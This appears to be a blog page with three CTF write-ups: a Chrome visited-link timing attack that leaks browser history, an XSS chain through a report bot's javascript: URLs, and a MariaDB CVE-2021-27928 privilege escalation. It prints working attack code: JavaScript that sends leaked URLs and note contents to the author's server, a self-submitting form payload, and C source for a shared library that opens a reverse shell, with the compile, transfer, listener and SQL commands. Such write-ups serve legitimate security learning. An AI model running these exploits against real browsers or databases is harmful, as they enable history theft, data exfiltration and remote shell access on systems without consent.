Monday, October 11, 2021

Write up pbctf 2021: Vault

 This weekend I participated in the 2021 Perfect Blue CTF. This is my writeup for the Vault challenge


Can you unlock the secret from the vault?

Notes The admin will visit

Author: vakzz


We're presented with a page containing the numbers 1- 32, along with a report link feature. If you click on the numbers enough layers deep, you'll eventually allowed to put text into the page (Just text, no XSS). The layers form a directory structure in the url.

The report url feature triggers headless chrome to click through a bunch of numbers at random. After it goes 14 layers deep it inputs the flag on to the page. After that it navigates to whatever page you reported. Note: Unlike some of the other challenges, the headless chrome instance is not in incognito mode. This is important for the challenge.

It seems clear, that the goal is to try and find some way to read the history of the browser that visits your page.


I spent a lot time banging my head against this one. Surely it should be impossible to see the user's history. That would be a major privacy violation. After all, isn't that why the :visited CSS pseudo-class is so restricted? Turns out its not restricted enough.

In trying to solve this problem, I read through - which is a great resource for unintuitive security properties in browsers. lead me to a chrome bug which had a proof of concept for leaking history through timing side channels using :visited pseudo class. The bug is wontfix - I guess browser-vendors at some point just decided to give up on preventing this type of leak. One caveat though, is :visited is totally disabled in incognito mode, so it doesn't work in that mode.

It took some fiddling with the parameters to make the PoC work in the time limit that the report-url bot had. The PoC seemed to be much slower on the report bot than it was locally. I eventually found that using a text-shadow of black 1px 1px 20px, a font-size of 2px, 150 links and 10000 link length gave good results.

 I then modified it to look for vault urls, and had it send the results to my server. See below for the exact code used

Eventually I got a log entry that looked like: - - [10/Oct/2021:09:40:51 +0000] "GET /log? HTTP/1.1" 404 489 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4655.0 Safari/537.36"

And sure enough had the flag (I think there's some max-age stuff, so it doesn't have the flag anymore)

Appendix - timing attack code

I was more concerned with getting the exploit working than nice code, so I took the existing PoC and made minor modifications. The result is some not very clear code. I would encourage you to look at the original PoC linked from first. To be clear, all the smart stuff about this was not made by me

<!DOCTYPE html>
#out a { color: blue }
#out a:visited { color: purple }
#out { 
  font-size: 5px; 
  overflow: hidden; 
  padding: 20px; 
#stats { position:absolute; right:0; top: 60px; left: 40%}
p { margin: 4px 0 }
.linklist span.visited { visibility: hidden; color: white;  background: green; border-radius: 5px;  padding: 2px; font-size: 8pt }
.linklist span.visited.yes { visibility: visible }
.linklist .timings { font-family: monospace; font-size:8pt }
<body onload="updateParams()">
<h1>Detecting Visited Links via Redraw Timing</h1>
<div xonkeyup="updateParams()">
<p>text-shadow: <input id="text-shadow" value="black 1px 1px 20px" size="50"></p>
<p>opacity: <input id="opacity" size="2" value="1"> font-size: <input id="font-size" size="2" value="3">px</p>
<p>Links: <input id="textlines" value="150" size="2"> Link Length: <input id="textlen" value="10000" size="2"></p>

<div id="out" >


<div id="stats">
<p>Current URL: <span id="currentURL"></span></p>
<p id="nums"></p>
<button onclick="updateParams()">Start</button><button onclick="stop=true">Stop</button>
<div id="log"></div>
function log(param) {
	x = new XMLHttpRequest; 'GET', '' + encodeURIComponent(param), true );
	console.log( param );
log( "start" );
var baseUrl = '';
var urls;
function updateUrls(setup) {
	urls = [document.location.href, 'http://notvisited' + ((Math.random()*100000000)|0)+'.foo' ]
	for ( i = 1; i <=32; i++ ) {
		urls[urls.length] = baseUrl + i + '/';
	if (setup) {
requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||  
   window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;  
var out = document.getElementById('out');
var currentURLout = document.getElementById('currentURL');

var linkspans = [];
var timespans = [];
var counter = 0;
var posTimes = [];
var negTimes = [];

var stop = true;
var start;
var currentUrl = 0;
var calibIters = 10;

function initStats() {
  currentUrl = 0;
  start = NaN;
  counter = 0;
  posTimes = [];
  negTimes = [];
  if (stop) {
    stop = false;

function updateParams() { = document.getElementById('text-shadow').value; = parseFloat(document.getElementById('opacity').value); = document.getElementById('font-size').value + 'px';
  textLines = parseInt(document.getElementById('textlines').value);
  textLen = parseInt(document.getElementById('textlen').value);
	log( "trying-" + textLines + '-' + textLen );
function write() {
  var s = '';
  var url = urls[currentUrl];
  var text ='';
  while (text.length < textLen)
    text += '#';
  for (var i=0; i<textLines; i++) {
    s += "<a href="+url;
    s += ">"+text;
    s += "</a> ";
  out.innerHTML = s;

function updateLinks() {
  var url = urls[currentUrl];
  for (var i=0; i<out.children.length; i++) {
    out.children[i].href = url;

function resetLinks() {
  for (var i=0; i<out.children.length; i++) {
    out.children[i].href = 'http://' + Math.random() + '.asd';

function median(list){
	list.sort(function(a,b){return a-b});
	if (list.length % 2){
		var odd = list.length / 2 - 0.5;
		return list[odd];
		var even = list[list.length / 2 - 1];
		even += list[list.length / 2];
		even = even / 2;
		return even;

var attempts = 0;
function loop(timestamp) {
  if (stop) return;
  var diff = (timestamp - start) | 0;
  start = timestamp;

  if (!isNaN(diff)) {
    if (counter%2 == 0) {
      if (counter > 4) {
        if (currentUrl == 0) { // calibrating visited
          document.getElementById('nums').textContent = 'Calibrating...';
          timespans[currentUrl].textContent = posTimes.join(', ');
        if (currentUrl == 1) { // calibrating unvisited
          timespans[currentUrl].textContent = negTimes.join(', ');
          if (negTimes.length >= calibIters) {
            var medianPos = median(posTimes);
            var medianNeg = median(negTimes);
            // if calibration didn't find a big enough difference between pos and neg, 
            // increase number of links and try again
            if (medianPos - medianNeg < 60) {
              document.getElementById('textlines').value = textLines + 50;
              document.getElementById('textlen').value = textLen + 2;
              stop = true;

            threshold = medianNeg + (medianPos - medianNeg)*.75;
            document.getElementById('nums').textContent = 'Median Visited: ' + medianPos + 'ms  / Median Unvisited: ' + medianNeg + 'ms / Threshold: ' + threshold + 'ms';
	    log( "Calibrated " + textLines +';' + textLen + '. Median Visited: ' + medianPos + 'ms  / Median Unvisited: ' + medianNeg + 'ms / Threshold: ' + threshold + 'ms' + ' diff:' + (medianPos - medianNeg) );
            timeStart =;
        if (currentUrl >= 2) {
            timespans[currentUrl].textContent = diff;
            linkspans[currentUrl].className = (diff >= threshold)? 'visited yes' : 'visited';
            incUrl = true;
	    if ( diff >= threshold ) {
		stop = true;
		attempts = 0;
	    	log( urls[currentUrl] );
		baseUrl = urls[currentUrl];
		currentUrl = 2;
		stop = false;
        // keep testing first two links until calibration is completed
        if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters))
          currentUrl = 0;
        if (currentUrl == urls.length) {
		if (attempts > 5 ) {
          timeElapsed = ( - timeStart) / 1000;
          log("DONE: Time elapsed: " + timeElapsed + "s, tested " + (((urls.length -2)/timeElapsed)|0) + " URLs/sec"); 
          stop = true;
		} else {
			log( "Trying again" );
			currentUrl = 2;
        currentURLout.textContent = urls[currentUrl];
    } else {

function setupLinks() {
  var table = document.createElement('table');
  table.innerHTML = '<tr><th></th><th>URL</th><th>Times (ms)</th></tr>';
  table.className = 'linklist';
  for (var i=0; i < urls.length; i++) {
    var a = document.createElement('a');
    a.href = urls[i];
    a.textContent = urls[i];
    var times = document.createElement('span');
    times.className = 'timings';
    var tick = document.createElement('span');
    tick.textContent = '\u2713';
    tick.className = 'visited';
    var tr = document.createElement('tr');
    for (var j=0; j<3; j++) 
    timespans[i] = times;
    linkspans[i] = tick;

//setTimeout(loop, 2000);


Write-Up: pbctf 2021 - TBDXSS

This weekend I participated in the 2021 Perfect Blue ctf. This is my write-up on how to solve the TBDXSS challenge.

[Note: This post has mild spoilers for the vault problem as well]

The challenge

Here is the challenge description:

The TBD in the challenge name stands for ....

PS: Flag is admin bot's note.

Author: Jazzy


When we look at the web page, we find a notes app that stores a single note that an contain any html, along with a form to change the contents of the note. The contents of the note are stored in a cookie with sameSite=lax. All pages have X-Frame-options: deny.

There is also a "report a link" functionality, that triggers a headless chrome instance to visit a link of your choosing. This chrome instance has a cookie pre-installed that puts the flag into the note.

Finding the vulnerability

The first things I noticed:

  • There is no CSRF token on the form, so you can submit it cross-site
    • However, the sameSite=lax on the cookie means you have to actually navigate to the the result for the cookie to be set. You can't just post via AJAX
    • The X-Frame-Options: deny prevent you submitting the form into an <iframe> (using the target attribute on the form and name on the iframe)
    • The end result, is as far as I could tell, to change the note you would have to do a top-level navigation (e.g. via submitting a form) to change the note. The success page does not include the note, so you do not execute your JS after success.
  • You can put arbitrary html into the note (XSS!). However doing so deletes the previous contents of the note (The flag)


I struggled with this for a while. If not for the x-frame-options: deny, my approach would be:

  • Load the original note in an <iframe>
  • submit a form that changes the note into a different <iframe> (via target attribute on the form)
  • Load the new note in a new <iframe>. Since the two iframes belong to the same origin they should be able to have full access to each other

However, that was not to be because of the X-Frame-Options. A similar approach might be with pop-up windows, however, chrome's popup blocker would prevent that.

For a while I looked for ways to read pages cross-origin. That of course would be spitting in the face of the same origin policy, and is thus impossible. I probably should of recognized that the entirety of internet security is not a lie, and spent less time down that rabbit hole.

Later when looking at a different problem (Vault) I came to the key insight. Vault also has a similar setup with the, report a link headless chrome bot. However, the code between them had two major differences, which was suspicious.

  • TBDXSS was running in incognito mode, Vault was not (Important for the solution to vault)
  • Vault had code to ensure that all urls started with http. TBDXSS did not.

This meant that TBDXSS report feature could accept javascript: scheme urls. Thus the key XSS was not in the notes app, but in the headless chrome bot code.

 Furthermore, it appears that the chrome pop-up blocker does not apply to javascript: code in this context. (In local testing, in my normal chrome it seemed like you could only make a single pop-up from an about:blank page using javascript urls. When i tested it on the bot you could make multiple).

[Edit: After reading Sam Brow's write up for the same problem, it sounds like the pop-up blocker was disabled generally in puppeteer, so it was possible to solve this problem more directly and the javascript uri thing was unnecessary]

The Exploit

With that in mind, we can now make our exploit, using javascript urls to launch multiple pop-ups that can read from each other.

  • Launch a pop-up in a named window: '', 'first' )
  • Launch a second pop-up to a url controlled by us. This will contain a form with js to submit the form on page load, that changes the note to malicious JS.
    • The malicious JS code will involve something like:'', 'first').document.body.innerHTML; to read the contents of the first frame
  •  After a delay, navigate the second pop-up to so that the malicious JS is executed
  • The malicious JS reads the flag from the first pop-up, and sends it back to us

Putting it all together, the url we "report" is:

And the contents of my page is:

<base href=""></head><body>
<form action="/change_note" id="noteform" method=POST  >
 <input type="hidden" name="data"
    var first ='', 'first').document.body.innerHTML;
    x=new XMLHttpRequest;'GET', ''+encodeURIComponent(first));
 <input id="sub" type="submit" value="submit">
	document.getElementById( 'noteform' ).submit();

This results in the following in my apache log: - - [12/Oct/2021:03:17:59 +0000] "GET /notes.htm HTTP/1.1" 200 6138 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36" - - [12/Oct/2021:03:18:04 +0000] "GET /log?%0Apbctf%7Bg1t_m3_4_p4g3_r3f3r3nc3%7D%0A%0A%20%20%20%20 HTTP/1.1" 404 5702 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36"

De-urlencoding that, the flag is: pbctf{g1t_m3_4_p4g3_r3f3r3nc3}. Thus the problem is solved.

Wednesday, April 21, 2021

Central-InfoSec CTF writeup: Hack [not] root

I'm new to participating in CTFs, but last week I (and the team I was on) tried out the Central-InfoSec CTF. It was fun, and our team ended up coming in third.

I understand that part of CTFs is writing up solutions to questions after the competition is done. With that in mind, here is my solution to the "Hack not Root" and "Hack Root" questions.

Basically, there was a linux system, and your goal is to gain access to the tc and root accounts respectively.

From a previous question, we had ssh access to an account named "ssh". So the first thing I did was figure out what was running as the tc user, to see what to attack:


Looks like mysql is the main surface area (If you time it just right, you will also a wget process triggered by cron once every 5 minutes).

From a previous question, we know that mysql is running on default port, with username root and no password.

First thing I thought of was to use the SELECT ... INTO OUTFILE feature, which allows you to make files as long as the file doesn't currently exist and you have proper permissions on the directory. So i tried writing a PHP file:

Unfortunately, PHP was running as the user nobody, so no dice:

Maybe there was some other file I could have created to escalate privs, but I didn't see anything obvious.
Next I checked what version of mysql was running:

| VERSION()       |
| 10.4.11-MariaDB |
1 row in set (0.00 sec)
Looking up that version, number, it seems like it has a pretty critical vulnerability: CVE-2021-27928.
Basically, the  wsrep_provider variable points to a dynamically loaded object. If you change it, mysql attempts to load the object with dlopen().

First I made a shared library file the spawns a reverse shell in a constructor function (Hard coded to connect to on port 4005):

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR ""
#define REMOTE_PORT 4005

// Mark this function a constructor, so it loads immediately
// upon dlopen()
static void __attribute__ ((constructor)) \

static void lib_init(void) {

    if (fork() != 0 ) {
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    char *newargv[] = { "/bin/sh", NULL };
    char* env[] = {NULL};
    execve("/bin/sh", newargv, env);

Compiled with gcc: gcc exploit.c -fPIC -shared  -o  (If you're not compliling on x86-64 linux, you probably need different arguments)

Then we need to transfer it to the system. We know from a previous question that you can access the ssh account over ssh.

scp ssh@

mysql -u root -h

In preparation of exploit, launch an nc instance to catch the shell

nc -v -l 4005  (might need to add the -p option there depending on which netcat you are using)

Now, to exploit, we load this .so as the implementation of wsrep provider. This causes mariadb to to load the dynamically linked object and execute the constructor function:

SET GLOBAL wsrep_provider="/tmp/";

It will claim this failed (Since we did not actually implement a wsrep provider), but that's ok, the exploit happens before the error processing

In the other window, our nc process has now been connected to a remote shell for the tc user:

As you can see, I ran ls, followed by id. I am the tc user in the staff group. Thus we have done the first question of getting access to the tc user.

From there, getting root is easy. Since tc is allowed to use sudo, just run sudo /bin/su. We can verify this worked using the id command.

And thus the problem is solved. It was a fun first CTF experience. Thank you to Central-InfoSec for putting it together.
The organizers indicated that they put this problem together before this CVE was even published and that there were multiple methods of solving this problem, so I'm rather curious how other people solved it.